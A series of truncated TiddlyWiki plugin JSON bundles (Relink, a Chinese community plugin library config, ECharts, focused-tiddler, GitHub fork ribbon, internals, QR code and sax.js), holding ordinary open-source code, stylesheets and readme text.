$tw.utils.extend(\\n\\t\\t\\t{ variables: {to: toTitle, from: fromTitle},\\n\\t\\t\\t wiki: this},\\n\\t\\t\\toptions );\\n\\t\\tlanguage.reportFailures(failures, options);\\n\\t}\\n};\\n\\n})();\\n\",\"module-type\":\"startup\",\"title\":\"$:/plugins/flibbles/relink/js/bulkops.js\",\"type\":\"application/javascript\"},\"$:/plugins/flibbles/relink/js/indexer.js\":{\"text\":\"/*\\\\\\nmodule-type: indexer\\n\\nIndexes results from tiddler reference reports so we don't have to call them\\nso much.\\n\\n\\\\*/\\n\\n\\\"use strict\\\";\\n\\nvar utils = require(\\\"./utils.js\\\");\\nvar TiddlerContext = utils.getContext('tiddler');\\n\\nfunction Indexer(wiki) {\\n\\tthis.wiki = wiki;\\n};\\n\\nIndexer.prototype.init = function() {\\n\\tthis.rebuild();\\n};\\n\\nIndexer.prototype.rebuild = function() {\\n\\tthis.index = null;\\n\\tthis.backIndex = null;\\n\\tthis.contexts = Object.create(null);\\n\\tthis.changedTiddlers = undefined;\\n\\tthis.lastRelinks = O
{"text":"{\"tiddlers\":{\"$:/config/TiddlyWiki-CPL/GitHub\":{\"title\":\"$:/config/TiddlyWiki-CPL/GitHub\",\"caption\":\"\u003C$list filter=\\\"[[$:/language]get[text]removeprefix[$:/languages/]else[en-GB]]\\\" variable=\\\"lang\\\">\u003C$list filter=\\\"[\u003Clang>search:title[zh]]\\\">太微中文社区插件源(~GitHub版)\u003C/$list>\u003C$list filter=\\\"[\u003Clang>!search:title[zh]]\\\">TiddlyWiki CPL(~GitHub Host)\u003C/$list>\u003C/$list>\",\"tags\":[\"$:/tags/PluginLibrary\",\"$:/tags/PluginLibrary/CPL\"],\"type\":\"text/vnd.tiddlywiki\",\"url\":\"https://tiddly-gittly.github.io/TiddlyWiki-CPL/library/index.html\",\"text\":\"\u003C!-- lang变量就是当前语言 -->\\n\u003C$list filter=\\\"[[$:/language]get[text]removeprefix[$:/languages/]else[en-GB]]\\\" variable=\\\"lang\\\">\\n\u003C$list filter=\\\"[\u003Clang>search:title[zh]]\\\" variable=\\\"lang\\\">\\n\\n欢迎使用''【太微中文社区插件源】''!\\n\\n本插件源是由[[太微(TiddlyWiki)中文社区|https://github.com/tiddly-gittly]]维护的、致力于搜集网络上所有与 ~TiddlyWiki5 有关插件的、希望为中国以及全世界的太微用户提供一键安装、更新插件体验的公开插件源。\\n\\n如果还不了解该如何使用太微和本插件源,欢迎阅读[[中文社区共建的太微(TiddlyWiki)教程|https://tw-cn.netlify.app]]里插件相关的部分。如上提到的插件源和教程皆为开源项目,你可以在 [[GitHub|https://github.com/tiddly-gittly]] 中找到并参与贡献!如果乐意,可以通过QQ群等方式加入我们,详情请见如上提到的中文教程。\\n\\n要添加这个插件库到你的 Wiki 中,只需鼠标拖动这个链接到你的 Wiki 里即可:\u003C$link to=\u003C\u003CcurrentTiddler>>>{{!!caption}}\u003C/$link>\\n\\n注意:本插件源版本为 ~GitHub Page 的版本,更新更快,但是可能需要科学上网手段。如果你在国内,而且不清楚什么是“科学上网”,请选用另一个经过 netlify.app 加速的[[版本|$:/config/TiddlyWiki-CPL/Netlify]],虽然更新有一定的延迟,但对国内用户更加友好。\\n\\n@@color:red;''安装任何插件前,请记得备份你的Wiki,本插件源无法为插件造成的个人损失负责!''@@\\n\\n\u003C/$list>\\n\\n\u003C$list filter=\\\"[\u003Clang>!search:title[zh]]\\\" variable=\\\"lang\\\">\\n\\nWelcome to the ''[TiddlyWiki Chinese Community Plugin Source]''!\\n\\nThis plugin source is maintained by the [[TiddlyWiki Chinese Community]] and is dedicated to collecting all TiddlyWiki5 related plugins on the web, hoping to provide a one-click installation and update plugin experience for TiddlyWiki users in China and around the world.\\n\\nIf you don't know how to use TiddlyWiki and this source, you are welcome to read the plugins related section in the [[TiddlyWiki Tutorials for Chinese Communities|https://tw-cn.netlify.app]]. As mentioned above, both the plugin source and the tutorial are open source projects, you can find them in [[GitHub|https://github.com/tiddly-gittly]] and participate in contributing! If you like, you can join us through QQ groups and other means, see the Chinese tutorials mentioned above for details.\\n\\nTo add this plugin library to your Wiki, just drag this link with your mouse into your Wiki: \u003C$link to=\u003C\u003CcurrentTiddler>>>{{!!caption}}\u003C/$link>\\n\\nNote: The source version of this plugin is the ~GitHub Page version, which is faster to update, but may require scientific Internet access. If you are in China and are not sure what GFW is, please use another [[version|$:/config/TiddlyWiki-CPL/Netlify]] that is accelerated by netlify.app, although there is a certain delay in updating, but it is more friendly to domestic users more friendly.\\n\\n@@color:red;''Please remember to back up your Wiki before installing any plugins, this plugin source cannot be held responsible for personal losses caused by plugins!''@@\\n\\n\u003C/$list>\\n\u003C/$list>\\n\"},\"$:/config/TiddlyWiki-CPL/Netlify\":{\"title\":\"$:/config/TiddlyWiki-CP
{"version":"0.1.4","type":"application/json","title":"$:/plugins/Gk0Wk/echarts","plugin-type":"plugin","name":"ECharts","list":"readme LICENSE","description":"ECharts for TiddlyWiki5","author":"Gk0Wk","source":"https://github.com/tiddly-gittly/tw-echarts/tree/master/plugins/Gk0Wk/echarts","dependents":"$:/plugins/Gk0Wk/focused-tiddler","text":"{\"tiddlers\":{\"$:/plugins/Gk0Wk/echarts/LICENSE\":{\"title\":\"$:/plugins/Gk0Wk/echarts/LICENSE\",\"type\":\"text/plain\",\"text\":\"\\nMIT License\\n\\nCopyright (c) 2023 Gk0Wk(nmg_wk@yeah.net)\\n\\nPermission is hereby granted, free of charge, to any person obtaining a copy\\nof this software and associated documentation files (the \\\"Software\\\"), to deal\\nin the Software without restriction, including without limitation the rights\\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\\ncopies of the Software, and to permit persons to whom the Software is\\nfurnished to do so, subject to the following conditions:\\n\\nThe above copyright notice and this permission notice shall be included in all\\ncopies or substantial portions of the Software.\\n\\nTHE SOFTWARE IS PROVIDED \\\"AS IS\\\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\\nSOFTWARE.\\n\"},\"$:/plugins/Gk0Wk/echarts/addons/GitHubHeatMap.ts\":{\"title\":\"$:/plugins/Gk0Wk/echarts/addons/GitHubHeatMap.ts\",\"type\":\"application/javascript\",\"Modern.TiddlyDev#IncludeSource\":\"true\",\"text\":\"import { IScriptAddon } from '../../scriptAddon';\\nimport * as ECharts from '$:/plugins/Gk0Wk/echarts/echarts.min.js';\\n\\nconst getFilterByDate = (date: string, subfilter: string) =>\\n `[all[tiddlers]sameday:created[${date}]][all[tiddlers]sameday:modified[${date}]] +${subfilter} +[sort[]]`;\\nconst yearDates: Map\u003Cnumber, [string, string][]> = new Map();\\nconst dayTime = 3600 * 24 * 1000;\\nconst getData = (year: number, subfilter: string) => {\\n if (!yearDates.has(year)) {\\n const startDate = (ECharts as any).number\\n .parseDate(`${year}-01-01`)\\n .getTime();\\n const endDate = (ECharts as any).number\\n .parseDate(`${year + 1}-01-01`)\\n .getTime();\\n const dates: [string, string][] = [];\\n for (let time = startDate; time \u003C endDate; time += dayTime) {\\n const timeFmt: string = (ECharts as any).format.formatTime(\\n 'yyyy-MM-dd',\\n time,\\n );\\n const timeTW = timeFmt.replace(/-/g, '');\\n dates.push([timeFmt, timeTW]);\\n }\\n yearDates.set(year, dates);\\n }\\n let total = 0;\\n return [\\n yearDates.get(year)!.map(([timeFmt, timeTW]) => {\\n const count = $tw.wiki.filterTiddlers(\\n getFilterByDate(timeTW, subfilter),\\n ).length;\\n total += count;\\n return [timeFmt, count];\\n }),\\n total,\\n ] as [[string, number][], number];\\n};\\n\\nconst getPlatteColor = (name: string) =>\\n $tw.wiki.renderText(\\n 'text/plain',\\n 'text/vnd.tiddlywiki',\\n `\u003C$transclude tiddler={{$:/palette}} index=\\\"${name}\\\">\u003C$transclude tiddler=\\\"$:/palettes/Vanilla\\\" index=\\\"${name}\\\">\u003C$transclude tiddler=\\\"$:/config/DefaultColourMappings/${name}\\\"/>\u003C/$transclude>\u003C/$transclude>`,\\n {},\\n );\\n\\nconst checkIfChinese = () =>\\n $tw.wiki.getTiddlerText('$:/language')?.includes('zh') === true;\\n\\nconst checkIfDarkMode = () =>\\n $tw.wiki.getTiddler($tw.wiki.getTiddlerText('$:/palette')!)?.fields?.[\\n 'color-scheme'\\n ] === 'dark';\\n\\nconst GitHubHeatMapAddon: IScriptAddon\u003Cany> = {\\n shouldUpdate: (_, changedTiddlers) => $tw.utils.count(changedTiddlers) > 0,\\n onUpdate: (myChart, _state, addonAttributes) => {\\n const year = parseIn
{"title":"$:/plugins/Gk0Wk/focused-tiddler","name":"Focused Tiddler","author":"Gk0Wk","description":"Detecting the tiddler you are viewing","plugin-type":"plugin","version":"0.0.1","list":"readme config","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/Gk0Wk/focused-tiddler/config\":{\"title\":\"$:/plugins/Gk0Wk/focused-tiddler/config\",\"type\":\"text/vnd.tiddlywiki\",\"text\":\"\u003C$list filter=\\\"[[$:/language]get[text]removeprefix[$:/languages/]else[en-GB]]\\\" variable=\\\"lang\\\">\\n\u003C$list filter=\\\"[\u003Clang>search[zh]]\\\">\\n\\n; 顶部偏移\\n: \u003C$edit-text tiddler=\\\"$:/plugins/Gk0Wk/focused-tiddler/top-offset\\\" tag=\\\"input\\\" default=\\\"71\\\" /> (px)\\n: 条目顶部与窗口页面顶部的距离小于偏移量时,该条目会被聚焦。(单位:px)\\n\\n\u003C/$list>\\n\\n\u003C$list filter=\\\"[\u003Clang>!search[zh]]\\\">\\n\\n; Top Offset\\n: \u003C$edit-text tiddler=\\\"$:/plugins/Gk0Wk/focused-tiddler/top-offset\\\" tag=\\\"input\\\" default=\\\"71\\\" /> (px)\\n: The entry is focused when the distance between the top of the entry and the top of the window page is less than the offset. (Unit: px)\\n\\n\u003C/$list>\\n\u003C/$list>\\n\"},\"$:/plugins/Gk0Wk/focused-tiddler/readme\":{\"title\":\"$:/plugins/Gk0Wk/focused-tiddler/readme\",\"type\":\"text/vnd.tiddlywiki\",\"text\":\"\u003C$list filter=\\\"[[$:/language]get[text]removeprefix[$:/languages/]else[en-GB]]\\\" variable=\\\"lang\\\">\\n\u003C$list filter=\\\"[\u003Clang>search[zh]]\\\">\\n\\n! 聚焦条目\\n\\n检测你现在正在看的条目,并将其标题存在 `$:/temp/focussedTiddler`。\\n\\n判定方法:当打开新条目、滚动条目至一定位置(可配置)或者点击条目内容时,及判定为聚焦条目。\\n\\n> 本插件使用灵活而强大的 \u003C$text text=\\\"TiddlyWiki\\\" /> 开发框架 [[Tiddly.ModernDev|https://github.com/tiddly-gittly/Modern.TiddlyDev]]\\n\\n\u003C/$list>\\n\\n\u003C$list filter=\\\"[\u003Clang>!search[zh]]\\\">\\n\\n! focused-tiddler\\n\\nDetecting the tiddler you are viewing, and save its title to `$:/temp/focussedTiddler`.\\n\\nJudgment method: When opening a new tiddler, scrolling the tiddler to a certain position (configurable) or clicking on the content of the tiddler, and judged to be a focused tiddler.\\n\\n> This plugin uses the flexible and powerful \u003C$text text=\\\"TiddlyWiki\\\" /> development framework [[Tiddly.ModernDev|https://github.com/tiddly-gittly/Modern.TiddlyDev]]\\n\\n\u003C/$list>\\n\u003C/$list>\\n\"},\"$:/plugins/Gk0Wk/focused-tiddler/top-offset\":{\"title\":\"$:/plugins/Gk0Wk/focused-tiddler/top-offset\",\"text\":\"71\\n\"},\"'$:/plugins/Gk0Wk/focused-tiddler/top-offset/hook.js\":{\"title\":\"'$:/plugins/Gk0Wk/focused-tiddler/top-offset/hook.js\",\"module-type\":\"startup\",\"type\":\"application/javascript\",\"Modern.TiddlyDev#Origin\":\"hook.ts\",\"text\":\"\\\"use strict\\\";var __defProp=Object.defineProperty,__getOwnPropDesc=Object.getOwnPropertyDescriptor,__getOwnPropNames=Object.getOwnPropertyNames,__hasOwnProp=Object.prototype.hasOwnProperty,__export=(e,t)=>{for(var o in t)__defProp(e,o,{get:t[o],enumerable:!0})},__copyProps=(t,o,r,s)=>{if(o&&\\\"object\\\"==typeof o||\\\"function\\\"==typeof o)for(let e of __getOwnPropNames(o))__hasOwnProp.call(t,e)||e===r||__defProp(t,e,{get:()=>o[e],enumerable:!(s=__getOwnPropDesc(o,e))||s.enumerable});return t},__toCommonJS=e=>__copyProps(__defProp({},\\\"__esModule\\\",{value:!0}),e),hook_exports={},topOffset=(__export(hook_exports,{after:()=>after,name:()=>name,platforms:()=>platforms,startup:()=>startup,synchronous:()=>synchronous}),module.exports=__toCommonJS(hook_exports),71),updateTopOffset=()=>{topOffset=Number($tw.wiki.getTiddlerText(\\\"$:/plugins/Gk0Wk/focused-tiddler/top-offset\\\",\\\"71\\\").trim()),Number.isSafeInteger(topOffset)||(topOffset=71)},check=()=>{var t=document.querySelectorAll(\\\".tc-story-river > .tc-tiddler-frame\\\");if(0===t.length)update(null);else{for(let e=t.length-1;0\u003C=e;e--)if(!(100\u003Ct[e].getBoundingClientRect
{"title":"$:/plugins/tiddlywiki/github-fork-ribbon","name":"GitHub Fork Ribbon","description":"GitHub-inspired corner ribbon","author":"Simon Whitaker","list":"readme usage","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/github-fork-ribbon/readme\":{\"title\":\"$:/plugins/tiddlywiki/github-fork-ribbon/readme\",\"text\":\"This plugin provides a diagonal ribbon across the corner of the window. It resembles the design used by ~GitHub for their \\\"Fork me on ~GitHub\\\" ribbons.\\n\\nThe ribbon can be positioned over any corner, and can incorporate user defined text, colours and a link.\\n\\nThe CSS stylesheet is adapted from work by Simon Whitaker:\\n\\nhttps://github.com/simonwhitaker/github-fork-ribbon-css/\\n\\n[[Source code|https://github.com/Jermolene/TiddlyWiki5/blob/master/plugins/tiddlywiki/github-fork-ribbon]]\\n\"},\"$:/plugins/tiddlywiki/github-fork-ribbon/styles\":{\"title\":\"$:/plugins/tiddlywiki/github-fork-ribbon/styles\",\"tags\":\"[[$:/tags/Stylesheet]]\",\"text\":\"/* Left will inherit from right (so we don't need to duplicate code */\\n.github-fork-ribbon {\\n /* The right and left lasses determine the side we attach our banner to */\\n position: absolute;\\n\\n /* Add a bit of padding to give some substance outside the \\\"stitching\\\" */\\n padding: 2px 0;\\n\\n /* Set the base colour */\\n background-color: #a00;\\n\\n /* Set a gradient: transparent black at the top to almost-transparent black at the bottom */\\n background-image: -webkit-gradient(linear, left top, left bottom, from(rgba(0, 0, 0, 0.00)), to(rgba(0, 0, 0, 0.15)));\\n background-image: -webkit-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: -moz-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: -o-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: -ms-linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n background-image: linear-gradient(top, rgba(0, 0, 0, 0.00), rgba(0, 0, 0, 0.15));\\n filter: progid:DXImageTransform.Microsoft.gradient(GradientType=0,StartColorStr='#000000', EndColorStr='#000000');\\n\\n /* Add a drop shadow */\\n -webkit-box-shadow: 0px 2px 3px 0px rgba(0, 0, 0, 0.5);\\n box-shadow: 0px 2px 3px 0px rgba(0, 0, 0, 0.5);\\n\\n z-index: 999;\\n pointer-events: auto;\\n}\\n\\n.github-fork-ribbon a, .github-fork-ribbon a.tc-tiddlylink,\\n.github-fork-ribbon a:hover, .github-fork-ribbon a.tc-tiddlylink:hover {\\n /* Set the font */\\n font-family: \\\"Helvetica Neue\\\", Helvetica, Arial, sans-serif;\\n font-size: 13px;\\n font-weight: 700;\\n color: white;\\n\\n /* Set the text properties */\\n text-decoration: none;\\n text-shadow: 0 -1px rgba(0,0,0,0.5);\\n text-align: center;\\n\\n /* Set the geometry. If you fiddle with these you'll also need to tweak the top and right values in #github-fork-ribbon. */\\n width: 200px;\\n line-height: 20px;\\n\\n /* Set the layout properties */\\n display: inline-block;\\n padding: 2px 0;\\n\\n /* Add \\\"stitching\\\" effect */\\n border-width: 1px 0;\\n border-style: dotted;\\n border-color: rgba(255,255,255,0.7);\\n}\\n\\n.github-fork-ribbon-wrapper {\\n width: 150px;\\n height: 150px;\\n position: absolute;\\n overflow: hidden;\\n top: 0;\\n z-index: 999;\\n pointer-events: none;\\n}\\n\\n.github-fork-ribbon-wrapper.fixed {\\n position: fixed;\\n}\\n\\n.github-fork-ribbon-wrapper.left {\\n left: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.right {\\n right: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.left-bottom {\\n position: fixed;\\n top: inherit;\\n bottom: 0;\\n left: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.right-bottom {\\n position: fixed;\\n top: inherit;\\n bottom: 0;\\n right: 0;\\n}\\n\\n.github-fork-ribbon-wrapper.right .github-fork-ribbon {\\n top: 42px;\\n right: -43px;\\n\\n /* Rotate the banner 45 degrees */\\n -webkit-transform: rotate(45deg);\\n -moz-transform: rotate(45deg);\\n -o-transform: rotate(45deg);\\n
{"created":"20230108212945823","text":"Copy appropriate chunks on a new tiddler and tag it `$:/tags/PageControls`. Name of the new tiddler does not matter. Only the tag matters.\n\n```\n\u003C!-- TOP RIGHT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper right\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- TOP RIGHT RIBBON: END COPYING HERE -->\n\n\u003C!-- TOP LEFT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper left\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- TOP LEFT RIBBON: END COPYING HERE -->\n\n\u003C!-- BOTTOM RIGHT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper right-bottom\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- BOTTOM RIGHT RIBBON: END COPYING HERE -->\n\n\u003C!-- BOTTOM LEFT RIBBON: START COPYING HERE -->\n\u003Cdiv class=\"github-fork-ribbon-wrapper left-bottom\">\u003Cdiv class=\"github-fork-ribbon\">\u003Ca href=\"https://github.com/simonwhitaker/github-fork-ribbon-css\">Fork me on ~GitHub\u003C/a>\u003C/div>\n\u003C/div>\n\u003C!-- BOTTOM LEFT RIBBON: END COPYING HERE -->\n```\n","title":"$:/plugins/tiddlywiki/github-fork-ribbon/usage","modified":"20230108212950099"},
{"title":"$:/plugins/tiddlywiki/internals","name":"Internals","description":"Tools for exploring the internals of TiddlyWiki","list":"readme","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/parse-tree\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/parse-tree\",\"tags\":\"$:/tags/EditPreview\",\"list-after\":\"$:/core/ui/EditTemplate/body/preview/output\",\"caption\":\"parse tree\",\"text\":\"\\\\define preview(mode)\\n\u003C$wikify name=\\\"preview-text\\\" text={{!!text}} type={{!!type}} mode=\\\"$mode$\\\" output=\\\"parsetree\\\">\\n\u003Cpre>\\n\u003Ccode>\\n\u003C$text text=\u003C\u003Cpreview-text>>/>\\n\u003C/code>\\n\u003C/pre>\\n\u003C/$wikify>\\n\\\\end\\n\\n{{||$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared}}\\n\"},\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/raw\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/raw\",\"tags\":\"$:/tags/EditPreview\",\"caption\":\"raw HTML\",\"list-after\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/widget-tree\",\"code-body\":\"yes\",\"text\":\"\u003Cpre>\u003Ccode>\u003C$view field=\\\"text\\\" format=\\\"htmlwikified\\\" />\u003C/code>\u003C/pre>\\n\"},\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared\",\"text\":\"\\\\define body()\\n\\nMode: \u003C$select tiddler=\\\"$(tv-mode-configuration)$\\\" default=\\\"block\\\">\\n\u003Coption value=\\\"inline\\\">Inline\u003C/option>\\n\u003Coption value=\\\"block\\\">Block\u003C/option>\\n\u003C/$select>\\n\\n\u003C$macrocall $name=\\\"preview\\\" mode={{$(tv-mode-configuration)$}}/>\\n\\\\end\\n\\n\u003Cdiv class=\\\"tc-internal-tree-preview-wrapper\\\">\\n\\n\u003Cdiv class=\\\"tc-internal-tree-preview\\\">\\n\\n\u003C$vars tv-mode-configuration=\u003C\u003Cqualify \\\"$:/state/internals/preview/mode\\\">>>\\n\\n\u003C\u003Cbody>>\\n\\n\u003C/$vars>\\n\\n\u003C/div>\\n\\n\u003C/div>\\n\"},\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/widget-tree\":{\"title\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/widget-tree\",\"tags\":\"$:/tags/EditPreview\",\"caption\":\"widget tree\",\"list-after\":\"$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/parse-tree\",\"text\":\"\\\\define preview(mode)\\n\u003C$wikify name=\\\"preview-text\\\" text={{!!text}} type={{!!type}} mode=\\\"$mode$\\\" output=\\\"widgettree\\\">\\n\u003Cpre>\\n\u003Ccode>\\n\u003C$text text=\u003C\u003Cpreview-text>>/>\\n\u003C/code>\\n\u003C/pre>\\n\u003C/$wikify>\\n\\\\end\\n\\n{{||$:/plugins/tiddlywiki/internals/EditTemplate/body/preview/shared}}\\n\"},\"$:/plugins/tiddlywiki/internals/readme\":{\"title\":\"$:/plugins/tiddlywiki/internals/readme\",\"text\":\"This plugin adds features to help explore the internals of TiddlyWiki:\\n\\n* New preview panes showing:\\n** the parse tree\\n** the widget tree\\n** the raw HTML output\\n\\nThe first two include a dropdown for choosing block vs. inline parsing mode.\\n\"},\"$:/plugins/tiddlywiki/internals/styles\":{\"title\":\"$:/plugins/tiddlywiki/internals/styles\",\"tags\":\"$:/tags/Stylesheet\",\"text\":\"\\\\rules only filteredtranscludeinline transcludeinline macrodef macrocallinline macrocallblock\\n\"}}}"},
{"title":"$:/plugins/tiddlywiki/qrcode","name":"QR Code","description":"QR Code generator","author":"Zeno Zeng","list":"readme usage examples license","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/qrcode/MakeContactQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeContactQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Contact\",\"text\":\"\\\\define wifi-url()\\nWIFI:wifi name;T:WPA;S:SSID;P:password;\\n\\\\end\\n\\n\\\\define image(firstname,lastname,address,tel,email)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"MECARD:N:$lastname$,$firstname$;ADR:$address$;TEL:$tel$;EMAIL:$email$;;\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the contact details\\n\\nFirst name: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/firstname\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nLast name: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/lastname\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nAddress: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/address\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nTelephone: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/tel\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nEmail: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/contact/email\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" firstname={{$:/config/plugins/tiddlywiki/qrcode/contact/firstname}} lastname={{$:/config/plugins/tiddlywiki/qrcode/contact/lastname}} address={{$:/config/plugins/tiddlywiki/qrcode/contact/address}} tel={{$:/config/plugins/tiddlywiki/qrcode/contact/tel}} email={{$:/config/plugins/tiddlywiki/qrcode/contact/email}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/MakeGenericQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeGenericQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Generic\",\"text\":\"\\\\define image(content)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"$content$\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the details\\n\\nYou can also use this form to encode URLs.\\n\\n\u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/generic\\\" default=\\\"\\\" class=\\\"tc-edit-texteditor\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" content={{$:/config/plugins/tiddlywiki/qrcode/generic}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/MakeWifiQR\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/MakeWifiQR\",\"tags\":\"$:/tags/MakeQR\",\"caption\":\"Wifi\",\"text\":\"\\\\define wifi-url()\\nWIFI:T:WPA;S:SSID;P:password;;\\n\\\\end\\n\\n\\\\define image(network,encryption,ssid,password)\\n\u003Cimg src=\u003C\u003Cmakeqr text:\\\"\\\"\\\"WIFI:T:$encryption$;S:$ssid$;P:$password$;;\\\"\\\"\\\" size:\\\"350\\\">>/>\\n\\\\end\\n\\n! Enter the details of your wifi network\\n\\nEncryption: \u003C$select tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/encryption\\\" default=\\\"none\\\">\\n\u003Coption value=\\\"none\\\">None\u003C/option>\\n\u003Coption value=\\\"WEP\\\">WEP\u003C/option>\\n\u003Coption value=\\\"WPA\\\">WPA\u003C/option>\\n\u003Coption value=\\\"WPA2\\\">WPA2\u003C/option>\\n\u003C/$select>\\n\\nSSID: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/ssid\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\nPassword: \u003C$edit-text tiddler=\\\"$:/config/plugins/tiddlywiki/qrcode/wifi/password\\\" tag=\\\"input\\\" default=\\\"\\\"/>\\n\\n! Here is your QR code\\n\\n\u003C$macrocall $name=\\\"image\\\" network={{$:/config/plugins/tiddlywiki/qrcode/wifi/network}} encryption={{$:/config/plugins/tiddlywiki/qrcode/wifi/encryption}} ssid={{$:/config/plugins/tiddlywiki/qrcode/wifi/ssid}} password={{$:/config/plugins/tiddlywiki/qrcode/wifi/password}}/>\\n\"},\"$:/plugins/tiddlywiki/qrcode/ViewToolbarButton\":{\"title\":\"$:/plugins/tiddlywiki/qrcode/ViewToolbarButton\",\"tags\":\"$:/tags/ViewToolbar\",\"list-before\":\"$:/core/ui/Buttons/close\",\"caption\":\"{{$:/plugins/tiddly
{"title":"$:/plugins/tiddlywiki/sax","name":"sax js","description":"sax.js library","author":"Isaac Z. Schlueter","list":"readme license","version":"5.2.3","plugin-type":"plugin","dependents":"","type":"application/json","text":"{\"tiddlers\":{\"$:/plugins/tiddlywiki/sax/sax.js\":{\"text\":\";(function (sax) { // wrapper for non-node envs\\n sax.parser = function (strict, opt) { return new SAXParser(strict, opt) }\\n sax.SAXParser = SAXParser\\n sax.SAXStream = SAXStream\\n sax.createStream = createStream\\n\\n // When we pass the MAX_BUFFER_LENGTH position, start checking for buffer overruns.\\n // When we check, schedule the next check for MAX_BUFFER_LENGTH - (max(buffer lengths)),\\n // since that's the earliest that a buffer overrun could occur. This way, checks are\\n // as rare as required, but as often as necessary to ensure never crossing this bound.\\n // Furthermore, buffers are only tested at most once per write(), so passing a very\\n // large string into write() might have undesirable effects, but this is manageable by\\n // the caller, so it is assumed to be safe. Thus, a call to write() may, in the extreme\\n // edge case, result in creating at most one complete copy of the string passed in.\\n // Set to Infinity to have unlimited buffers.\\n sax.MAX_BUFFER_LENGTH = 64 * 1024\\n\\n var buffers = [\\n 'comment', 'sgmlDecl', 'textNode', 'tagName', 'doctype',\\n 'procInstName', 'procInstBody', 'entity', 'attribName',\\n 'attribValue', 'cdata', 'script'\\n ]\\n\\n sax.EVENTS = [\\n 'text',\\n 'processinginstruction',\\n 'sgmldeclaration',\\n 'doctype',\\n 'comment',\\n 'opentagstart',\\n 'attribute',\\n 'opentag',\\n 'closetag',\\n 'opencdata',\\n 'cdata',\\n 'closecdata',\\n 'error',\\n 'end',\\n 'ready',\\n 'script',\\n 'opennamespace',\\n 'closenamespace'\\n ]\\n\\n 